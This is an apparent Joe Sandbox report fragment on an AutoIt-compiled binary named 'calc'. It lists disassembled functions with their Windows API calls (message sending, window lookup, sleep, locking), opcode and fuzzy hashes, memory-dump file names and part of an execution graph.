      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: LengthMessageSendTextWindow
      • String ID: edit
      • API String ID: 2978978980-2167791130
      • Opcode ID: c2653f4a8f2a9fd3339bdeb911189886ce8e1b58d1724ea3b2bfe0e6e1a0c6a7
      • Instruction ID: 3c8579f57d0c42e063c7e16f0ca5964ab964ff0d5ea83e700c6d5523480232cd
      • Opcode Fuzzy Hash: c2653f4a8f2a9fd3339bdeb911189886ce8e1b58d1724ea3b2bfe0e6e1a0c6a7
      • Instruction Fuzzy Hash: AA112B75040308ABEF228F50CC44BEA37A5AB19355F108126FD54672D1C37ECC659B9A
      Function 00402FF7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON
      Download Yara Rule
      APIs
        • Part of subcall function 004030FC: SendMessageTimeoutW.USER32(0045C6D0,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00403119
        • Part of subcall function 004030FC: GetWindowThreadProcessId.USER32(0045C6D0,00000000), ref: 0040312E
        • Part of subcall function 004030FC: GetCurrentThreadId.KERNEL32 ref: 00403135
        • Part of subcall function 004030FC: AttachThreadInput.USER32(00000000,?,0040301A,?,00000001), ref: 0040313C
      • GetFocus.USER32 ref: 0040301A
      • GetClassNameW.USER32(?,?,000000FF), ref: 0040304A
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Thread$AttachClassCurrentFocusInputMessageNameProcessSendTimeoutWindow
      • String ID: %s%d
      • API String ID: 1301947253-1110647743
      • Opcode ID: ee9be35a30aa6138f74a0f436a39a0fbf44d4576cb0a92abe5729aac7ef09eb6
      • Instruction ID: 5efcb7465573b2ab94bf4c2dd86e8e81f3aa2c00291f0960b02ed275af46cd7d
      • Opcode Fuzzy Hash: ee9be35a30aa6138f74a0f436a39a0fbf44d4576cb0a92abe5729aac7ef09eb6
      • Instruction Fuzzy Hash: 3911A731500708BFDF216F61DC8AF9A7BADBF00341F00442AB50665492D779E655DB58
      Function 00401FC4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,000001A2,00000001,?), ref: 00402042
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend
      • String ID: ComboBox$ListBox
      • API String ID: 3850602802-1403004172
      • Opcode ID: a29b9999ab7f9f49425fc7fc832618fee04fed544210bd0aca0d50c725a4f24a
      • Instruction ID: 6a2bf43351e90442f0b13493faf7ed6cf4a6bb8ea08880f42cadd4b0a594b3be
      • Opcode Fuzzy Hash: a29b9999ab7f9f49425fc7fc832618fee04fed544210bd0aca0d50c725a4f24a
      • Instruction Fuzzy Hash: 82112531404365BBDF216A658C46BAF3B65AF02320F1045AAF5107B2D2C67D884AD349
      Function 00401EA6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,00000180,00000000,?), ref: 00401F21
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend
      • String ID: ComboBox$ListBox
      • API String ID: 3850602802-1403004172
      • Opcode ID: ed3fcc896b068fd941d8d9cf6e57a1d18e166874037eff3a8c86b7d3873e16cd
      • Instruction ID: e9e452ee7395a0ac856e9d180b4f38c93f17947b2fa77818a0f771537a2928a5
      • Opcode Fuzzy Hash: ed3fcc896b068fd941d8d9cf6e57a1d18e166874037eff3a8c86b7d3873e16cd
      • Instruction Fuzzy Hash: FC01D231948365BBDF21AA658C42BAF3B649F05710F1444BBF8007A2E2C73D8D0AD399
      Function 00401F36 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,00000182,?,00000000), ref: 00401FAF
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend
      • String ID: ComboBox$ListBox
      • API String ID: 3850602802-1403004172
      • Opcode ID: 0242139c27f576f57361c977978787e115d72c8c9176f3bbb4e371a2efab1887
      • Instruction ID: 3733c26b0adeeb4198756a847cc5c2d4ffc560054351d3a3df5f83e60761485c
      • Opcode Fuzzy Hash: 0242139c27f576f57361c977978787e115d72c8c9176f3bbb4e371a2efab1887
      • Instruction Fuzzy Hash: A301F531908366BBDF216A658C42BEF7E649F01710F1444BBF400762E2C73D890A935D
      Function 004168A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON
      Download Yara Rule
      APIs
      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00442C32,00000000,0045C6D0), ref: 004168F0
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharMultiWide
      • String ID: 2,D
      • API String ID: 626452242-2418935499
      • Opcode ID: 0511c5f8d2e7000894d6229759d6eb0e35e8659186a567bc5996a2e2cc60b3a8
      • Instruction ID: b39320ebaba644329eb74e26f72cd8e91e687b80147ed92d883561fb5b5a7670
      • Opcode Fuzzy Hash: 0511c5f8d2e7000894d6229759d6eb0e35e8659186a567bc5996a2e2cc60b3a8
      • Instruction Fuzzy Hash: 84F090321072307EA23166379C4CCEFBE9CDE8B2F8B11062AF509921A1DA259C41D5F9
      Function 0042A895 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32sleepCOMMON
      Download Yara Rule
      APIs
      • Sleep.KERNEL32(0000000A,?,?,?,?,00401261,00000001,?,?), ref: 0042A8C6
      • FreeLibrary.KERNEL32(?,?,?,?,?,00401261,00000001,?,?), ref: 0042A8DC
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FreeLibrarySleep
      • String ID: #v
      • API String ID: 1926266166-554117064
      • Opcode ID: b86244694cb31ea88552ad3ae689b7ee6b627a18059bce07507ecd7df422afb2
      • Instruction ID: 95626d53eeefe99a7a2a974764b31a355aca2ad0c096622ee57089ae5fda058c
      • Opcode Fuzzy Hash: b86244694cb31ea88552ad3ae689b7ee6b627a18059bce07507ecd7df422afb2
      • Instruction Fuzzy Hash: 72F09071904315EBCB11AFA4A94048ABBB4AF04304F90447EE85262202D2345616EB16
      Function 00441486 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
      Download Yara Rule
      APIs
      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044149D
      • PostMessageW.USER32(00000000), ref: 004414A4
        • Part of subcall function 00415F9F: Sleep.KERNEL32(000000FA,00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 0041602B
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FindMessagePostSleepWindow
      • String ID: Shell_TrayWnd
      • API String ID: 529655941-2988720461
      • Opcode ID: 882ebc6663f28ca6a0bd98369b9ec18506e29be0596869382302bcdea28e45d6
      • Instruction ID: 13f1e06114b1c92f5b92a9acec28f52c76ab9d30df0a71a8e479259ccf974a84
      • Opcode Fuzzy Hash: 882ebc6663f28ca6a0bd98369b9ec18506e29be0596869382302bcdea28e45d6
      • Instruction Fuzzy Hash: 53D0A733784300BAE2302731EC0AFC76614AB81B21F100826B705AA1D2C5B8B8418658
      Function 004414BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
      Download Yara Rule
      APIs
      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004414D3
      • PostMessageW.USER32(00000000), ref: 004414DA
        • Part of subcall function 00415F9F: Sleep.KERNEL32(000000FA,00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 0041602B
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FindMessagePostSleepWindow
      • String ID: Shell_TrayWnd
      • API String ID: 529655941-2988720461
      • Opcode ID: 589e054f64da00f93531d73cfc508ff2935bda88848966350afad539d68171e7
      • Instruction ID: e84574dfb991bf2cfa4f23f5b5c2518562de79298c4897d62fa121c786450cbf
      • Opcode Fuzzy Hash: 589e054f64da00f93531d73cfc508ff2935bda88848966350afad539d68171e7
      • Instruction Fuzzy Hash: C0D0A733784300BAE2312731AC0AFC76614AB85B21F100826B705AA1D2C5B8B8418658
      Function 0044B8FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON
      Download Yara Rule
      APIs
      • __lock.LIBCMT ref: 0044B919
        • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
      • RtlEnterCriticalSection.NTDLL(?), ref: 0044B924
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CriticalEnterSection$__lock
      • String ID: SF
      • API String ID: 3410214836-3927473838
      • Opcode ID: 9cc0bd6a2d6521f484713d1f5ba177a90f59e14cf639a20cfdb60fcf15beb41d
      • Instruction ID: a775ad8a655dfed215efc293d7e2241f7e8b16a1d901a40f4fc00a87cdfa6261
      • Opcode Fuzzy Hash: 9cc0bd6a2d6521f484713d1f5ba177a90f59e14cf639a20cfdb60fcf15beb41d
      • Instruction Fuzzy Hash: 36D013F5E0110567EF2C55755DC565D625DE6487827654D5BFD01C17C1DB1CD840500E
      Function 004144F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
      Download Yara Rule
      APIs
      • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00414505
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Message
      • String ID: AutoIt$Error allocating memory.
      • API String ID: 2030045667-4017498283
      • Opcode ID: dc3e318489bfee34d3df896ec7d206536584264e8443711728aad28883d80498
      • Instruction ID: 2297da2f1b184b157dc422602c855f75b819f819d268e52e3558a929044e264b
      • Opcode Fuzzy Hash: dc3e318489bfee34d3df896ec7d206536584264e8443711728aad28883d80498
      • Instruction Fuzzy Hash: 90B092B07C0309B6E22032906C4BF8426000B04F07F2004167718680D305CE10AC011E
      Function 00417DBC Relevance: 5.0, APIs: 4, Instructions: 38COMMONLIBRARYCODE
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseHandle
      • String ID:
      • API String ID: 2962429428-0
      • Opcode ID: fcc65564337efeded0ceb8b458db640fb801078e850b321e4cb6b3b0c890e3b1
      • Instruction ID: 9fbff2a46f1a3b6b9582897a9c6c7ca7b8380da915333fee2be5e575753045a6
      • Opcode Fuzzy Hash: fcc65564337efeded0ceb8b458db640fb801078e850b321e4cb6b3b0c890e3b1
      • Instruction Fuzzy Hash: 84F04F32240704ABCB219F1ADC82A97B3F4EF54369B14452ED08692630C679EC819E14

      Execution Graph

      Execution Coverage:4.8%
      Dynamic/Decrypted Code Coverage:0%
      Signature Coverage:1.8%
      Total number of Nodes:1884
      Total number of Limit Nodes:22
      execution_graph 48507 401641 48510 40165b 48507->48510 48511 40166e 48510->48511 48512 40180f NtdllDefWindowProc_W 48511->48512 48513 401782 48511->48513 48514 40167f 48511->48514 48515 401657 48512->48515 48518 4017fb 48513->48518 48519 40178b 48513->48519 48516 401685 48514->48516 48517 40174c 48514->48517 48522 401711 SetTimer RegisterClipboardFormatW 48516->48522 48523 40168e 48516->48523 48521 42a895 3 API calls 48517->48521 48585 4126bc 46 API calls 48518->48585 48524 4017eb 48519->48524 48525 40178f 48519->48525 48528 401777 48521->48528 48522->48515 48527 40173c CreatePopupMenu 48522->48527 48529 401691 48523->48529 48530 4016f2 KillTimer 48523->48530 48584 4125ea 39 API calls 48524->48584 48532 4017d3 48525->48532 48533 401796 48525->48533 48526 40180b 48526->48512 48526->48515 48527->48515 48559 42026c 48528->48559 48539 4016d1 MoveWindow 48529->48539 48540 401696 48529->48540 48558 412dd7 Shell_NotifyIconW 48530->48558 48532->48512 48583 401825 34 API calls 48532->48583 48535 4017c1 48533->48535 48536 40179d 48533->48536 48534 4017f9 48534->48515 48582 412e32 53 API calls 48535->48582 48536->48512 48580 412dd7 Shell_NotifyIconW 48536->48580 48539->48515 48544 4016c0 SetFocus 48540->48544 48545 40169a 48540->48545 48541 401705 PostQuitMessage 48541->48515 48543 40177d 48543->48512 48544->48515 48545->48536 48547 4016a3 48545->48547 48552 42a895 48547->48552 48550 4017ba 48581 4128c6 69 API calls 48550->48581 48553 42a8d4 48552->48553 48554 42a8a6 48552->48554 48553->48515 48586 42fcc3 LoadLibraryA GetProcAddress 48554->48586 48556 42a8bd 48556->48553 48557 42a8c4 Sleep 48556->48557 48557->48556 48558->48541 48587 4323fe 48559->48587 48567 4202d3 CharUpperBuffW 48602 418048 38 API calls 48567->48602 48569 4202f4 48570 418a14 VariantClear 48569->48570 48571 42030b 48570->48571 48572 416bfe 34 API calls 48571->48572 48573 420318 CharUpperBuffW 48572->48573 48603 418048 38 API calls 48573->48603 48575 420333 48604 421406 48575->48604 48579 420367 48579->48543 48580->48550 48581->48543 48582->48515 48583->48543 48584->48534 48585->48526 48586->48556 48588 416bfe 34 API calls 48587->48588 48589 43240f 48588->48589 48641 413afa 48589->48641 48591 420296 48591->48579 48592 416d00 48591->48592 48644 416f5d 48592->48644 48594 416d0d 48595 418a14 48594->48595 48596 4183f6 ctype VariantClear 48595->48596 48597 418a1b 48596->48597 48598 416bfe 48597->48598 48599 416c07 48598->48599 48600 449170 34 API calls 48599->48600 48601 416c16 48600->48601 48601->48567 48602->48569 48603->48575 48702 4181c7 48604->48702 48606 421424 48607 4181c7 37 API calls 48606->48607 48608 421436 48607->48608 48728 416c4c 48608->48728 48610 42146b 48611 4181c7 37 API calls 48610->48611 48612 4214ad 48611->48612 48613 4214c8 48612->48613 48754 416a9f 48612->48754 48731 4200f5 48613->48731 48617 4214e2 48618 4214f2 48617->48618 48760 421751 VariantClear 48617->48760 48761 418874 48618->48761 48622 4214fe 48623 418874 38 API calls 48622->48623 48624 42150a 48623->48624 48789 4034ed 34 API calls 48624->48789 48626 42151e 48790 416cee 34 API calls 48626->48790 48628 421535 48629 421574 48628->48629 48630 418874 38 API calls 48628->48630 48631 4183f6 ctype VariantClear 48629->48631 48630->48629 48632 42157c 48631->48632 48633 4183f6 ctype VariantClear 48632->48633 48634 42158d 48633->48634 48635 4183f6 ctype VariantClear 48634->48635 48636 42035d 48635->48636 48637 4183f6 48636->48637 48638 418401 ctype 48637->48638 48639 41840f VariantClear 48638->48639 48640 418416 ctype 48638->48640 48639->48640 48640->48579 48642 413b19 CharUpperBuffW 48641->48642 48643 413b0a 48641->48643 48642->48643 48643->48591 48645 416f6a 48644->48645 48648 416cb6 48645->48648 48647 416f75 48647->48594 48649 416cd3 48648->48649 48650 416cbe 48648->48650 48649->48647 48652 449170 48650->48652 48655 449ab3 48652->48655 48656 44917b 48655->48656 48658 449aba __getbuf 48655->48658 48656->48649 48658->48656 48659 449a38 48658->48659 48661 449a44 __lock 48659->48661 48660 449a77 48662 449a92 RtlAllocateHeap 48660->48662 48664 449aa1 __lock 48660->48664 48661->48660 48669 44c6db 48661->48669 48662->48664 48664->48658 48665 449a5f 48676 44e8f5 5 API calls __getbuf 48665->48676 48667 449a6a 48677 449aaa RtlLeaveCriticalSection ___free_lc_time 48667->48677 48670 44c701 RtlEnterCriticalSection 48669->48670 48671 44c6ee 48669->48671 48670->48665 48678 44c63b 48671->48678 48673 44c6f4 48673->48670 48701 44be4f 34 API calls _fast_error_exit 48673->48701 48675 44c700 48675->48670 48676->48667 48677->48660 48679 44c647 __lock 48678->48679 48680 449adf __getbuf 34 API calls 48679->48680 48684 44c66a __lock 48679->48684 48681 44c65e 48680->48681 48682 44c665 48681->48682 48683 44c672 48681->48683 48685 44d915 __umatherr 34 API calls 48682->48685 48686 44c6db __lock 34 API calls 48683->48686 48684->48673 48685->48684 48687 44c679 48686->48687 48688 44c681 48687->48688 48689 44c6b9 48687->48689 48691 454432 __lock GetProcAddress 48688->48691 48690 449c88 ___free_lc_time 34 API calls 48689->48690 48692 44c6bf 48690->48692 48693 44c68c 48691->48693 48696 44c6d2 __lock RtlLeaveCriticalSection 48692->48696 48694 44c6b5 48693->48694 48695 44c692 48693->48695 48694->48692 48697 449c88 ___free_lc_time 34 API calls 48695->48697 48696->48684 48698 44c698 48697->48698 48699 44d915 __umatherr 34 API calls 48698->48699 48700 44c69d __lock 48699->48700 48700->48684 48701->48675 48703 4181e2 48702->48703 48727 4181ff 48702->48727 48704 418270 48703->48704 48705 4182b5 48703->48705 48706 4182d5 48703->48706 48707 4181e9 48703->48707 48708 41822c 48703->48708 48703->48727 48714 449170 34 API calls 48704->48714 48704->48727 48711 449170 34 API calls 48705->48711 48710 449170 34 API calls 48706->48710 48709 449170 34 API calls 48707->48709 48712 449170 34 API calls 48708->48712 48713 4181f0 48709->48713 48715 4182dc 48710->48715 48716 4182bc 48711->48716 48712->48727 48722 416c4c 34 API calls 48713->48722 48713->48727 48717 41827f VariantInit VariantCopy 48714->48717 48718 4182ed 48715->48718 48719 41830e 48715->48719 48726 4182c8 48716->48726 48791 41817f 34 API calls 48716->48791 48723 41829b VariantClear 48717->48723 48717->48727 48724 449170 34 API calls 48718->48724 48725 449170 34 API calls 48719->48725 48722->48727 48723->48727 48724->48727 48725->48727 48792 4174f2 34 API calls 48726->48792 48727->48606 48729 449170 34 API calls 48728->48729 48730 416c5e 48729->48730 48730->48610 48732 42012a 48731->48732 48733 42010d 48731->48733 48735 4323fe 35 API calls 48732->48735 48742 420165 48732->48742 48850 41faee 51 API calls _fast_error_exit 48733->48850 48736 420153 48735->48736 48738 421406 327 API calls 48736->48738 48736->48742 48737 4201d8 48739 420122 48737->48739 